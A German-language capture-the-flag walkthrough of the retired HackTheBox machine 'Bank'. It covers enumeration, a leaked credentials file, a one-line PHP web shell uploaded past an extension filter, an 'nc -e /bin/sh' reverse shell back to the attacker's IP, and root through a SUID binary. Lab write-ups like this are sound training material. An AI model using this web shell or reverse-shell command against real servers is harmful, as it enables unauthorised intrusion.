HTB – Bank

Bank ist eine einfache Linux Maschine mit dem Schwerpunkt Web und SUID. Sie wurde am 16.06.2017 veröffentlicht und ist retired.

Discovery

Wie immer fange ich mit einen einfachen NMAP Scan an um mir eine Übersicht über das Ziel zu verschaffen.

nmap -sC -sV -p- <ip>

Die Maschine hat drei offene Ports:
– Port 22 für OpenSSH in der Version 6.6.1p1
– Port 53 für die Namensauflösung über BIND (Link)
– Port 80 für einen Apache 2.4.7 Webserver

Der Webserver

Beim Aufruf der IP Adresse im Browser erscheint die Apache Seite welche bei ein frisch eingerichteten Webserver vorhanden ist.

Im nächsten Schritt untersuchen wir die Webseite mit Gobuster und der common.txt Liste von SecLists. Leider wurden keine weiteren Seiten gefunden:

Da es sich bei dieser Liste fast ausschließlich um Ordner handelt lassen wir noch die raft-large-files.txt rüberlaufen aber auch hier finden wir nichts.

DNS und hosts Datei

Nach erneuten überprüfen der bereits vorliegenden Ergebnisse (NMAP) fällt mir auf das das Ziel einen eigenen DNS Server betreibt und wir ggf. unsere hosts Datei anpassen müssen (/etc/hosts):

Nachdem dies geschehen ist können wir über bank.htb die Seite erreichen und dieses mal haben wir auch eine richtige Webseite:

Anschließend lassen wir Gobuster wieder über die Webseite laufen.

gobuster dir -u bank.htb -w raft-large-files.txt -b 403,404 
gobuster dir -u bank.htb -w common.txt -b 403,404 
gobuster dir -u bank.htb -w directory-list-2.3-medium.txt -b 403,404

Das -b 403,404 sorgt dafür das auch die 403er ignoriert werden. Ansonsten würde er nur die 404er als fehlerhaft ansehen.

Dieses mal haben wir auch richtige Ergebnisse bekommen, folgende Dateien und Ordner sind uns nun bekannt:

/assets
/inc
/uploads
/balance-transfer
/index.php
/logout.php
/login.php
/support.php

Wobei alle php Seiten auf login.php umleiten. Im nächsten Schritt besuchen wir die Seiten manuell. Dabei fällt auf das directory listining bei assets und inc aktiv ist. Heißt wir können den Inhalt dieser Ordner sehen.

In /inc und /assets habe ich nichts Interessantes gefunden. Die Daten in balance-transfer enthalten alle Accountdetails, jedoch sind diese verschlüsselt:

Da ich prüfen wollte ob in diesen Ordner noch andere Dokumente liegen, die Liste relativ lang ist und mir aufgefallen ist das die Dateien mit den Accountdetails alle eine Größe von ca. 583 besitzen habe ich die Ansicht nach der Größe sortiert. Dabei fällt eine Datei mit einer Größe von 257 auf:

Wir haben nun Daten für die Loginseite und können uns erfolgreich einloggen:

Web Shell

Um Zugriff auf das System zu erhalten erstellen wir nun eine Datei mit folgenden Inhalt:

<pre> <?=`$_GET[1]`?>

Speichern tun wir diese Datei unter shell.php.htb, alternativ kann auch ein andere Ende gewählt werden jedoch muss ein zweiter Dateityp kommen da .php blockiert wird. Nun laden wir diese Datei unter Support hoch:

Unter bank.htb/uploads/shell.php.htb ist diese nun erreichbar. Befehle können über die Variable 1 übergeben werden. Der Aufruf von bank.htb/uploads/shell.php.htb?1=id führt z.B. den Befehl id aus und gibt die folgende Ausgabe im Browser aus:

Reverse Shell

Nun wo wir die Möglichkeit haben Befehle auf dem Server auszuführen bauen wird eine Reverse Shell auf. In einer Konsole wird ein Listener auf Port 9999 gestartet:

nc -nvlp 9999

Anschließend rufen wir folgende URL auf:

 http://bank.htb/uploads/shell.php.htb?1=nc%20-e%20/bin/sh%2010.10.14.58%209999

Die %20 sind Leerzeichen. Die IP Adresse 10.10.14.58 und der Port 9999 muss an die Daten des Angreifers angepasst werden. Nach Aufruf des Links wird eine Verbindung hergestellt:

User Flag

Nun kann die User Flag unter /home/chris/user.txt gefunden werden.

cat /home/chris/user.txt

Privileg Escalation

Um weiteren Zugriff zu bekommen laden wir über ein weiteres Ticket LinEnum.sh hoch. Dieses führen wir anschließend mit folgendem Befehl aus:

 ./linenum.sh > output.txt

Auf dem Server befindet sich eine Datei welche uns root Rechte gibt. Diese ist unter /var/htb/bin/emergency zu finden. Wir führen die Datei aus und sind anschließend Root.

Root Flag

Unter /root/root.txt kann nun die Root Flag gefunden werden.

cat /root/root.txt

Schreibe einen Kommentar